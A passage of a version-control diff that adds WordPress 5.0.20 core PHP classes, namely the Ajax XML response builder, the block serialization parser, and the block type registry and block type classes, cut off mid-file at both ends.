+	 *
+	 * @param string $id    Unused.
+	 * @param object $node
+	 */
+	public function recursive_render( $id, $node ) {
+		_deprecated_function( __METHOD__, '3.3.0', 'WP_Admin_bar::render(), WP_Admin_Bar::_render_item()' );
+		$this->_render_item( $node );
+	}
+
+	/**
+	 */
+	public function add_menus() {
+		// User related, aligned right.
+		add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_menu', 0 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_search_menu', 4 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 7 );
+
+		// Site related.
+		add_action( 'admin_bar_menu', 'wp_admin_bar_sidebar_toggle', 0 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_wp_menu', 10 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_my_sites_menu', 20 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_site_menu', 30 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_customize_menu', 40 );
+		add_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 50 );
+
+		// Content related.
+		if ( ! is_network_admin() && ! is_user_admin() ) {
+			add_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 60 );
+			add_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 70 );
+		}
+		add_action( 'admin_bar_menu', 'wp_admin_bar_edit_menu', 80 );
+
+		add_action( 'admin_bar_menu', 'wp_admin_bar_add_secondary_groups', 200 );
+
+		/**
+		 * Fires after menus are added to the menu bar.
+		 *
+		 * @since 3.1.0
+		 */
+		do_action( 'add_admin_bar_menus' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-ajax-response.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-ajax-response.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-ajax-response.php	(revision 56912)
@@ -0,0 +1,156 @@
+<?php
+/**
+ * Send XML response back to Ajax request.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ */
+class WP_Ajax_Response {
+	/**
+	 * Store XML responses to send.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $responses = array();
+
+	/**
+	 * Constructor - Passes args to WP_Ajax_Response::add().
+	 *
+	 * @since 2.1.0
+	 * @see WP_Ajax_Response::add()
+	 *
+	 * @param string|array $args Optional. Will be passed to add() method.
+	 */
+	public function __construct( $args = '' ) {
+		if ( !empty($args) )
+			$this->add($args);
+	}
+
+	/**
+	 * Appends data to an XML response based on given arguments.
+	 *
+	 * With `$args` defaults, extra data output would be:
+	 *
+	 *     <response action='{$action}_$id'>
+	 *      <$what id='$id' position='$position'>
+	 *          <response_data><![CDATA[$data]]></response_data>
+	 *      </$what>
+	 *     </response>
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|array $args {
+	 *     Optional. An array or string of XML response arguments.
+	 *
+	 *     @type string          $what         XML-RPC response type. Used as a child element of `<response>`.
+	 *                                         Default 'object' (`<object>`).
+	 *     @type string|false    $action       Value to use for the `action` attribute in `<response>`. Will be
+	 *                                         appended with `_$id` on output. If false, `$action` will default to
+	 *                                         the value of `$_POST['action']`. Default false.
+	 *     @type int|WP_Error    $id           The response ID, used as the response type `id` attribute. Also
+	 *                                         accepts a `WP_Error` object if the ID does not exist. Default 0.
+	 *     @type int|false       $old_id       The previous response ID. Used as the value for the response type
+	 *                                         `old_id` attribute. False hides the attribute. Default false.
+	 *     @type string          $position     Value of the response type `position` attribute. Accepts 1 (bottom),
+	 *                                         -1 (top), html ID (after), or -html ID (before). Default 1 (bottom).
+	 *     @type string|WP_Error $data         The response content/message. Also accepts a WP_Error object if the
+	 *                                         ID does not exist. Default empty.
+	 *     @type array           $supplemental An array of extra strings that will be output within a `<supplemental>`
+	 *                                         element as CDATA. Default empty array.
+	 * }
+	 * @return string XML response.
+	 */
+	public function add( $args = '' ) {
+		$defaults = array(
+			'what' => 'object', 'action' => false,
+			'id' => '0', 'old_id' => false,
+			'position' => 1,
+			'data' => '', 'supplemental' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		$position = preg_replace( '/[^a-z0-9:_-]/i', '', $r['position'] );
+		$id = $r['id'];
+		$what = $r['what'];
+		$action = $r['action'];
+		$old_id = $r['old_id'];
+		$data = $r['data'];
+
+		if ( is_wp_error( $id ) ) {
+			$data = $id;
+			$id = 0;
+		}
+
+		$response = '';
+		if ( is_wp_error( $data ) ) {
+			foreach ( (array) $data->get_error_codes() as $code ) {
+				$response .= "<wp_error code='$code'><![CDATA[" . $data->get_error_message( $code ) . "]]></wp_error>";
+				if ( ! $error_data = $data->get_error_data( $code ) ) {
+					continue;
+				}
+				$class = '';
+				if ( is_object( $error_data ) ) {
+					$class = ' class="' . get_class( $error_data ) . '"';
+					$error_data = get_object_vars( $error_data );
+				}
+
+				$response .= "<wp_error_data code='$code'$class>";
+
+				if ( is_scalar( $error_data ) ) {
+					$response .= "<![CDATA[$error_data]]>";
+				} elseif ( is_array( $error_data ) ) {
+					foreach ( $error_data as $k => $v ) {
+						$response .= "<$k><![CDATA[$v]]></$k>";
+					}
+				}
+
+				$response .= "</wp_error_data>";
+			}
+		} else {
+			$response = "<response_data><![CDATA[$data]]></response_data>";
+		}
+
+		$s = '';
+		if ( is_array( $r['supplemental'] ) ) {
+			foreach ( $r['supplemental'] as $k => $v ) {
+				$s .= "<$k><![CDATA[$v]]></$k>";
+			}
+			$s = "<supplemental>$s</supplemental>";
+		}
+
+		if ( false === $action ) {
+			$action = $_POST['action'];
+		}
+		$x = '';
+		$x .= "<response action='{$action}_$id'>"; // The action attribute in the xml output is formatted like a nonce action
+		$x .=	"<$what id='$id' " . ( false === $old_id ? '' : "old_id='$old_id' " ) . "position='$position'>";
+		$x .=		$response;
+		$x .=		$s;
+		$x .=	"</$what>";
+		$x .= "</response>";
+
+		$this->responses[] = $x;
+		return $x;
+	}
+
+	/**
+	 * Display XML formatted responses.
+	 *
+	 * Sets the content type header to text/xml.
+	 *
+	 * @since 2.1.0
+	 */
+	public function send() {
+		header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
+		echo "<?xml version='1.0' encoding='" . get_option( 'blog_charset' ) . "' standalone='yes'?><wp_ajax>";
+		foreach ( (array) $this->responses as $response )
+			echo $response;
+		echo '</wp_ajax>';
+		if ( wp_doing_ajax() )
+			wp_die();
+		else
+			die();
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-block-parser.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-block-parser.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-block-parser.php	(revision 56912)
@@ -0,0 +1,555 @@
+<?php
+/**
+ * Block Serialization Parser
+ *
+ * @package WordPress
+ */
+
+/**
+ * Class WP_Block_Parser_Block
+ *
+ * Holds the block structure in memory
+ *
+ * @since 3.8.0
+ */
+class WP_Block_Parser_Block {
+	/**
+	 * Name of block
+	 *
+	 * @example "core/paragraph"
+	 *
+	 * @since 3.8.0
+	 * @var string
+	 */
+	public $blockName;
+
+	/**
+	 * Optional set of attributes from block comment delimiters
+	 *
+	 * @example null
+	 * @example array( 'columns' => 3 )
+	 *
+	 * @since 3.8.0
+	 * @var array|null
+	 */
+	public $attrs;
+
+	/**
+	 * List of inner blocks (of this same class)
+	 *
+	 * @since 3.8.0
+	 * @var WP_Block_Parser_Block[]
+	 */
+	public $innerBlocks;
+
+	/**
+	 * Resultant HTML from inside block comment delimiters
+	 * after removing inner blocks
+	 *
+	 * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..."
+	 *
+	 * @since 3.8.0
+	 * @var string
+	 */
+	public $innerHTML;
+
+	/**
+	 * List of string fragments and null markers where inner blocks were found
+	 *
+	 * @example array(
+	 *   'innerHTML'    => 'BeforeInnerAfter',
+	 *   'innerBlocks'  => array( block, block ),
+	 *   'innerContent' => array( 'Before', null, 'Inner', null, 'After' ),
+	 * )
+	 *
+	 * @since 4.2.0
+	 * @var array
+	 */
+	public $innerContent;
+
+	/**
+	 * Constructor.
+	 *
+	 * Will populate object properties from the provided arguments.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param string $name         Name of block.
+	 * @param array  $attrs        Optional set of attributes from block comment delimiters.
+	 * @param array  $innerBlocks  List of inner blocks (of this same class).
+	 * @param string $innerHTML    Resultant HTML from inside block comment delimiters after removing inner blocks.
+	 * @param array  $innerContent List of string fragments and null markers where inner blocks were found.
+	 */
+	function __construct( $name, $attrs, $innerBlocks, $innerHTML, $innerContent ) {
+		$this->blockName    = $name;
+		$this->attrs        = $attrs;
+		$this->innerBlocks  = $innerBlocks;
+		$this->innerHTML    = $innerHTML;
+		$this->innerContent = $innerContent;
+	}
+}
+
+/**
+ * Class WP_Block_Parser_Frame
+ *
+ * Holds partial blocks in memory while parsing
+ *
+ * @internal
+ * @since 3.8.0
+ */
+class WP_Block_Parser_Frame {
+	/**
+	 * Full or partial block
+	 *
+	 * @since 3.8.0
+	 * @var WP_Block_Parser_Block
+	 */
+	public $block;
+
+	/**
+	 * Byte offset into document for start of parse token
+	 *
+	 * @since 3.8.0
+	 * @var int
+	 */
+	public $token_start;
+
+	/**
+	 * Byte length of entire parse token string
+	 *
+	 * @since 3.8.0
+	 * @var int
+	 */
+	public $token_length;
+
+	/**
+	 * Byte offset into document for after parse token ends
+	 * (used during reconstruction of stack into parse production)
+	 *
+	 * @since 3.8.0
+	 * @var int
+	 */
+	public $prev_offset;
+
+	/**
+	 * Byte offset into document where leading HTML before token starts
+	 *
+	 * @since 3.8.0
+	 * @var int
+	 */
+	public $leading_html_start;
+
+	/**
+	 * Constructor
+	 *
+	 * Will populate object properties from the provided arguments.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param WP_Block_Parser_Block $block              Full or partial block.
+	 * @param int                   $token_start        Byte offset into document for start of parse token.
+	 * @param int                   $token_length       Byte length of entire parse token string.
+	 * @param int                   $prev_offset        Byte offset into document for after parse token ends.
+	 * @param int                   $leading_html_start Byte offset into document where leading HTML before token starts.
+	 */
+	function __construct( $block, $token_start, $token_length, $prev_offset = null, $leading_html_start = null ) {
+		$this->block              = $block;
+		$this->token_start        = $token_start;
+		$this->token_length       = $token_length;
+		$this->prev_offset        = isset( $prev_offset ) ? $prev_offset : $token_start + $token_length;
+		$this->leading_html_start = $leading_html_start;
+	}
+}
+
+/**
+ * Class WP_Block_Parser
+ *
+ * Parses a document and constructs a list of parsed block objects
+ *
+ * @since 3.8.0
+ * @since 4.0.0 returns arrays not objects, all attributes are arrays
+ */
+class WP_Block_Parser {
+	/**
+	 * Input document being parsed
+	 *
+	 * @example "Pre-text\n<!-- wp:paragraph -->This is inside a block!<!-- /wp:paragraph -->"
+	 *
+	 * @since 3.8.0
+	 * @var string
+	 */
+	public $document;
+
+	/**
+	 * Tracks parsing progress through document
+	 *
+	 * @since 3.8.0
+	 * @var int
+	 */
+	public $offset;
+
+	/**
+	 * List of parsed blocks
+	 *
+	 * @since 3.8.0
+	 * @var WP_Block_Parser_Block[]
+	 */
+	public $output;
+
+	/**
+	 * Stack of partially-parsed structures in memory during parse
+	 *
+	 * @since 3.8.0
+	 * @var WP_Block_Parser_Frame[]
+	 */
+	public $stack;
+
+	/**
+	 * Empty associative array, here due to PHP quirks
+	 *
+	 * @since 4.4.0
+	 * @var array empty associative array
+	 */
+	public $empty_attrs;
+
+	/**
+	 * Parses a document and returns a list of block structures
+	 *
+	 * When encountering an invalid parse will return a best-effort
+	 * parse. In contrast to the specification parser this does not
+	 * return an error on invalid inputs.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param string $document Input document being parsed.
+	 * @return WP_Block_Parser_Block[]
+	 */
+	function parse( $document ) {
+		$this->document    = $document;
+		$this->offset      = 0;
+		$this->output      = array();
+		$this->stack       = array();
+		$this->empty_attrs = json_decode( '{}', true );
+
+		do {
+			// twiddle our thumbs.
+		} while ( $this->proceed() );
+
+		return $this->output;
+	}
+
+	/**
+	 * Processes the next token from the input document
+	 * and returns whether to proceed eating more tokens
+	 *
+	 * This is the "next step" function that essentially
+	 * takes a token as its input and decides what to do
+	 * with that token before descending deeper into a
+	 * nested block tree or continuing along the document
+	 * or breaking out of a level of nesting.
+	 *
+	 * @internal
+	 * @since 3.8.0
+	 * @return bool
+	 */
+	function proceed() {
+		$next_token = $this->next_token();
+		list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token;
+		$stack_depth = count( $this->stack );
+
+		// we may have some HTML soup before the next block.
+		$leading_html_start = $start_offset > $this->offset ? $this->offset : null;
+
+		switch ( $token_type ) {
+			case 'no-more-tokens':
+				// if not in a block then flush output.
+				if ( 0 === $stack_depth ) {
+					$this->add_freeform();
+					return false;
+				}
+
+				/*
+				 * Otherwise we have a problem
+				 * This is an error
+				 *
+				 * we have options
+				 * - treat it all as freeform text
+				 * - assume an implicit closer (easiest when not nesting)
+				 */
+
+				// for the easy case we'll assume an implicit closer.
+				if ( 1 === $stack_depth ) {
+					$this->add_block_from_stack();
+					return false;
+				}
+
+				/*
+				 * for the nested case where it's more difficult we'll
+				 * have to assume that multiple closers are missing
+				 * and so we'll collapse the whole stack piecewise
+				 */
+				while ( 0 < count( $this->stack ) ) {
+					$this->add_block_from_stack();
+				}
+				return false;
+
+			case 'void-block':
+				/*
+				 * easy case is if we stumbled upon a void block
+				 * in the top-level of the document
+				 */
+				if ( 0 === $stack_depth ) {
+					if ( isset( $leading_html_start ) ) {
+						$this->output[] = (array) self::freeform(
+							substr(
+								$this->document,
+								$leading_html_start,
+								$start_offset - $leading_html_start
+							)
+						);
+					}
+
+					$this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() );
+					$this->offset   = $start_offset + $token_length;
+					return true;
+				}
+
+				// otherwise we found an inner block.
+				$this->add_inner_block(
+					new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
+					$start_offset,
+					$token_length
+				);
+				$this->offset = $start_offset + $token_length;
+				return true;
+
+			case 'block-opener':
+				// track all newly-opened blocks on the stack.
+				array_push(
+					$this->stack,
+					new WP_Block_Parser_Frame(
+						new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
+						$start_offset,
+						$token_length,
+						$start_offset + $token_length,
+						$leading_html_start
+					)
+				);
+				$this->offset = $start_offset + $token_length;
+				return true;
+
+			case 'block-closer':
+				/*
+				 * if we're missing an opener we're in trouble
+				 * This is an error
+				 */
+				if ( 0 === $stack_depth ) {
+					/*
+					 * we have options
+					 * - assume an implicit opener
+					 * - assume _this_ is the opener
+					 * - give up and close out the document
+					 */
+					$this->add_freeform();
+					return false;
+				}
+
+				// if we're not nesting then this is easy - close the block.
+				if ( 1 === $stack_depth ) {
+					$this->add_block_from_stack( $start_offset );
+					$this->offset = $start_offset + $token_length;
+					return true;
+				}
+
+				/*
+				 * otherwise we're nested and we have to close out the current
+				 * block and add it as a new innerBlock to the parent
+				 */
+				$stack_top                        = array_pop( $this->stack );
+				$html                             = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset );
+				$stack_top->block->innerHTML     .= $html;
+				$stack_top->block->innerContent[] = $html;
+				$stack_top->prev_offset           = $start_offset + $token_length;
+
+				$this->add_inner_block(
+					$stack_top->block,
+					$stack_top->token_start,
+					$stack_top->token_length,
+					$start_offset + $token_length
+				);
+				$this->offset = $start_offset + $token_length;
+				return true;
+
+			default:
+				// This is an error.
+				$this->add_freeform();
+				return false;
+		}
+	}
+
+	/**
+	 * Scans the document from where we last left off
+	 * and finds the next valid token to parse if it exists
+	 *
+	 * Returns the type of the find: kind of find, block information, attributes
+	 *
+	 * @internal
+	 * @since 3.8.0
+	 * @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments
+	 * @return array
+	 */
+	function next_token() {
+		$matches = null;
+
+		/*
+		 * aye the magic
+		 * we're using a single RegExp to tokenize the block comment delimiters
+		 * we're also using a trick here because the only difference between a
+		 * block opener and a block closer is the leading `/` before `wp:` (and
+		 * a closer has no attributes). we can trap them both and process the
+		 * match back in PHP to see which one it was.
+		 */
+		$has_match = preg_match(
+			'/<!--\s+(?P<closer>\/)?wp:(?P<namespace>[a-z][a-z0-9_-]*\/)?(?P<name>[a-z][a-z0-9_-]*)\s+(?P<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*+)?}\s+)?(?P<void>\/)?-->/s',
+			$this->document,
+			$matches,
+			PREG_OFFSET_CAPTURE,
+			$this->offset
+		);
+
+		// if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE.
+		if ( false === $has_match ) {
+			return array( 'no-more-tokens', null, null, null, null );
+		}
+
+		// we have no more tokens.
+		if ( 0 === $has_match ) {
+			return array( 'no-more-tokens', null, null, null, null );
+		}
+
+		list( $match, $started_at ) = $matches[0];
+
+		$length    = strlen( $match );
+		$is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1];
+		$is_void   = isset( $matches['void'] ) && -1 !== $matches['void'][1];
+		$namespace = $matches['namespace'];
+		$namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/';
+		$name      = $namespace . $matches['name'][0];
+		$has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1];
+
+		/*
+		 * Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays
+		 * are associative arrays. If we use `array()` we get a JSON `[]`
+		 */
+		$attrs = $has_attrs
+			? json_decode( $matches['attrs'][0], /* as-associative */ true )
+			: $this->empty_attrs;
+
+		/*
+		 * This state isn't allowed
+		 * This is an error
+		 */
+		if ( $is_closer && ( $is_void || $has_attrs ) ) {
+			// we can ignore them since they don't hurt anything.
+		}
+
+		if ( $is_void ) {
+			return array( 'void-block', $name, $attrs, $started_at, $length );
+		}
+
+		if ( $is_closer ) {
+			return array( 'block-closer', $name, null, $started_at, $length );
+		}
+
+		return array( 'block-opener', $name, $attrs, $started_at, $length );
+	}
+
+	/**
+	 * Returns a new block object for freeform HTML
+	 *
+	 * @internal
+	 * @since 3.9.0
+	 *
+	 * @param string $innerHTML HTML content of block.
+	 * @return WP_Block_Parser_Block freeform block object.
+	 */
+	function freeform( $innerHTML ) {
+		return new WP_Block_Parser_Block( null, $this->empty_attrs, array(), $innerHTML, array( $innerHTML ) );
+	}
+
+	/**
+	 * Pushes a length of text from the input document
+	 * to the output list as a freeform block.
+	 *
+	 * @internal
+	 * @since 3.8.0
+	 * @param null $length how many bytes of document text to output.
+	 */
+	function add_freeform( $length = null ) {
+		$length = $length ? $length : strlen( $this->document ) - $this->offset;
+
+		if ( 0 === $length ) {
+			return;
+		}
+
+		$this->output[] = (array) self::freeform( substr( $this->document, $this->offset, $length ) );
+	}
+
+	/**
+	 * Given a block structure from memory pushes
+	 * a new block to the output list.
+	 *
+	 * @internal
+	 * @since 3.8.0
+	 * @param WP_Block_Parser_Block $block        The block to add to the output.
+	 * @param int                   $token_start  Byte offset into the document where the first token for the block starts.
+	 * @param int                   $token_length Byte length of entire block from start of opening token to end of closing token.
+	 * @param int|null              $last_offset  Last byte offset into document if continuing form earlier output.
+	 */
+	function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) {
+		$parent                       = $this->stack[ count( $this->stack ) - 1 ];
+		$parent->block->innerBlocks[] = (array) $block;
+		$html                         = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset );
+
+		if ( ! empty( $html ) ) {
+			$parent->block->innerHTML     .= $html;
+			$parent->block->innerContent[] = $html;
+		}
+
+		$parent->block->innerContent[] = null;
+		$parent->prev_offset           = $last_offset ? $last_offset : $token_start + $token_length;
+	}
+
+	/**
+	 * Pushes the top block from the parsing stack to the output list.
+	 *
+	 * @internal
+	 * @since 3.8.0
+	 * @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML.
+	 */
+	function add_block_from_stack( $end_offset = null ) {
+		$stack_top   = array_pop( $this->stack );
+		$prev_offset = $stack_top->prev_offset;
+
+		$html = isset( $end_offset )
+			? substr( $this->document, $prev_offset, $end_offset - $prev_offset )
+			: substr( $this->document, $prev_offset );
+
+		if ( ! empty( $html ) ) {
+			$stack_top->block->innerHTML     .= $html;
+			$stack_top->block->innerContent[] = $html;
+		}
+
+		if ( isset( $stack_top->leading_html_start ) ) {
+			$this->output[] = (array) self::freeform(
+				substr(
+					$this->document,
+					$stack_top->leading_html_start,
+					$stack_top->token_start - $stack_top->leading_html_start
+				)
+			);
+		}
+
+		$this->output[] = (array) $stack_top->block;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-block-type-registry.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-block-type-registry.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-block-type-registry.php	(revision 56912)
@@ -0,0 +1,187 @@
+<?php
+/**
+ * Blocks API: WP_Block_Type_Registry class
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Core class used for interacting with block types.
+ *
+ * @since 5.0.0
+ */
+final class WP_Block_Type_Registry {
+	/**
+	 * Registered block types, as `$name => $instance` pairs.
+	 *
+	 * @since 5.0.0
+	 * @var WP_Block_Type[]
+	 */
+	private $registered_block_types = array();
+
+	/**
+	 * Container for the main instance of the class.
+	 *
+	 * @since 5.0.0
+	 * @var WP_Block_Type_Registry|null
+	 */
+	private static $instance = null;
+
+	/**
+	 * Registers a block type.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a
+	 *                                   complete WP_Block_Type instance. In case a WP_Block_Type
+	 *                                   is provided, the $args parameter will be ignored.
+	 * @param array                $args {
+	 *     Optional. Array of block type arguments. Any arguments may be defined, however the
+	 *     ones described below are supported by default. Default empty array.
+	 *
+	 *     @type callable $render_callback Callback used to render blocks of this block type.
+	 *     @type array    $attributes      Block attributes mapping, property name to schema.
+	 * }
+	 * @return WP_Block_Type|false The registered block type on success, or false on failure.
+	 */
+	public function register( $name, $args = array() ) {
+		$block_type = null;
+		if ( $name instanceof WP_Block_Type ) {
+			$block_type = $name;
+			$name       = $block_type->name;
+		}
+
+		if ( ! is_string( $name ) ) {
+			$message = __( 'Block type names must be strings.' );
+			_doing_it_wrong( __METHOD__, $message, '5.0.0' );
+			return false;
+		}
+
+		if ( preg_match( '/[A-Z]+/', $name ) ) {
+			$message = __( 'Block type names must not contain uppercase characters.' );
+			_doing_it_wrong( __METHOD__, $message, '5.0.0' );
+			return false;
+		}
+
+		$name_matcher = '/^[a-z0-9-]+\/[a-z0-9-]+$/';
+		if ( ! preg_match( $name_matcher, $name ) ) {
+			$message = __( 'Block type names must contain a namespace prefix. Example: my-plugin/my-custom-block-type' );
+			_doing_it_wrong( __METHOD__, $message, '5.0.0' );
+			return false;
+		}
+
+		if ( $this->is_registered( $name ) ) {
+			/* translators: %s: block name */
+			$message = sprintf( __( 'Block type "%s" is already registered.' ), $name );
+			_doing_it_wrong( __METHOD__, $message, '5.0.0' );
+			return false;
+		}
+
+		if ( ! $block_type ) {
+			$block_type = new WP_Block_Type( $name, $args );
+		}
+
+		$this->registered_block_types[ $name ] = $block_type;
+
+		return $block_type;
+	}
+
+	/**
+	 * Unregisters a block type.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a
+	 *                                   complete WP_Block_Type instance.
+	 * @return WP_Block_Type|false The unregistered block type on success, or false on failure.
+	 */
+	public function unregister( $name ) {
+		if ( $name instanceof WP_Block_Type ) {
+			$name = $name->name;
+		}
+
+		if ( ! $this->is_registered( $name ) ) {
+			/* translators: %s: block name */
+			$message = sprintf( __( 'Block type "%s" is not registered.' ), $name );
+			_doing_it_wrong( __METHOD__, $message, '5.0.0' );
+			return false;
+		}
+
+		$unregistered_block_type = $this->registered_block_types[ $name ];
+		unset( $this->registered_block_types[ $name ] );
+
+		return $unregistered_block_type;
+	}
+
+	/**
+	 * Retrieves a registered block type.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $name Block type name including namespace.
+	 * @return WP_Block_Type|null The registered block type, or null if it is not registered.
+	 */
+	public function get_registered( $name ) {
+		if ( ! $this->is_registered( $name ) ) {
+			return null;
+		}
+
+		return $this->registered_block_types[ $name ];
+	}
+
+	/**
+	 * Retrieves all registered block types.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return WP_Block_Type[] Associative array of `$block_type_name => $block_type` pairs.
+	 */
+	public function get_all_registered() {
+		return $this->registered_block_types;
+	}
+
+	/**
+	 * Checks if a block type is registered.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $name Block type name including namespace.
+	 * @return bool True if the block type is registered, false otherwise.
+	 */
+	public function is_registered( $name ) {
+		return isset( $this->registered_block_types[ $name ] );
+	}
+
+	public function __wakeup() {
+		if ( ! $this->registered_block_types ) {
+			return;
+		}
+		if ( ! is_array( $this->registered_block_types ) ) {
+			throw new UnexpectedValueException();
+		}
+		foreach ( $this->registered_block_types as $value ) {
+			if ( ! $value instanceof WP_Block_Type ) {
+				throw new UnexpectedValueException();
+			}
+		}
+	}
+
+	/**
+	 * Utility method to retrieve the main instance of the class.
+	 *
+	 * The instance will be created if it does not exist yet.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return WP_Block_Type_Registry The main instance.
+	 */
+	public static function get_instance() {
+		if ( null === self::$instance ) {
+			self::$instance = new self();
+		}
+
+		return self::$instance;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-block-type.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-block-type.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-block-type.php	(revision 56912)
@@ -0,0 +1,216 @@
+<?php
+/**
+ * Blocks API: WP_Block_Type class
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Core class representing a block type.
+ *
+ * @since 5.0.0
+ *
+ * @see register_block_type()
+ */
+class WP_Block_Type {
+	/**
+	 * Block type key.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * Block type render callback.
+	 *
+	 * @since 5.0.0
+	 * @var callable
+	 */
+	public $render_callback;
+
+	/**
+	 * Block type attributes property schemas.
+	 *
+	 * @since 5.0.0
+	 * @var array
+	 */
+	public $attributes;
+
+	/**
+	 * Block type editor script handle.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	public $editor_script;
+
+	/**
+	 * Block type front end script handle.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	public $script;
+
+	/**
+	 * Block type editor style handle.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	public $editor_style;
+
+	/**
+	 * Block type front end style handle.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	public $style;
+
+	/**
+	 * Constructor.
+	 *
+	 * Will populate object properties from the provided arguments.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @see register_block_type()
+	 *
+	 * @param string       $block_type Block type name including namespace.
+	 * @param array|string $args       Optional. Array or string of arguments for registering a block type.
+	 *                                 Default empty array.
+	 */
+	public function __construct( $block_type, $args = array() ) {
+		$this->name = $block_type;
+
+		$this->set_props( $args );
+	}
+
+	/**
+	 * Renders the block type output for given attributes.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array  $attributes Optional. Block attributes. Default empty array.
+	 * @param string $content    Optional. Block content. Default empty string.
+	 * @return string Rendered block type output.
+	 */
+	public function render( $attributes = array(), $content = '' ) {
+		if ( ! $this->is_dynamic() ) {
+			return '';
+		}
+
+		$attributes = $this->prepare_attributes_for_render( $attributes );
+
+		return (string) call_user_func( $this->render_callback, $attributes, $content );
+	}
+
+	/**
+	 * Returns true if the block type is dynamic, or false otherwise. A dynamic
+	 * block is one which defers its rendering to occur on-demand at runtime.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return boolean Whether block type is dynamic.
+	 */
+	public function is_dynamic() {
+		return is_callable( $this->render_callback );
+	}
+
+	/**
+	 * Validates attributes against the current block schema, populating
+	 * defaulted and missing values.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param  array $attributes Original block attributes.
+	 * @return array             Prepared block attributes.
+	 */
+	public function prepare_attributes_for_render( $attributes ) {
+		// If there are no attribute definitions for the block type, skip
+		// processing and return vebatim.
+		if ( ! isset( $this->attributes ) ) {
+			return $attributes;
+		}
+
+		foreach ( $attributes as $attribute_name => $value ) {
+			// If the attribute is not defined by the block type, it cannot be
+			// validated.
+			if ( ! isset( $this->attributes[ $attribute_name ] ) ) {
+				continue;
+			}
+
+			$schema = $this->attributes[ $attribute_name ];
+
+			// Validate value by JSON schema. An invalid value should revert to
+			// its default, if one exists. This occurs by virtue of the missing
+			// attributes loop immediately following. If there is not a default
+			// assigned, the attribute value should remain unset.
+			$is_valid = rest_validate_value_from_schema( $value, $schema );
+			if ( is_wp_error( $is_valid ) ) {
+				unset( $attributes[ $attribute_name ] );
+			}
+		}
+
+		// Populate values of any missing attributes for which the block type
+		// defines a default.
+		$missing_schema_attributes = array_diff_key( $this->attributes, $attributes );
+		foreach ( $missing_schema_attributes as $attribute_name => $schema ) {
+			if ( isset( $schema['default'] ) ) {
+				$attributes[ $attribute_name ] = $schema['default'];
+			}
+		}
+
+		return $attributes;
+	}
+
+	/**
+	 * Sets block type properties.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array|string $args Array or string of arguments for registering a block type.
+	 */
+	public function set_props( $args ) {
+		$args = wp_parse_args(
+			$args,
+			array(
+				'render_callback' => null,
+			)
+		);
+
+		$args['name'] = $this->name;
+
+		foreach ( $args as $property_name => $property_value ) {
+			$this->$property_name = $property_value;
+		}
+	}
+
+	/**
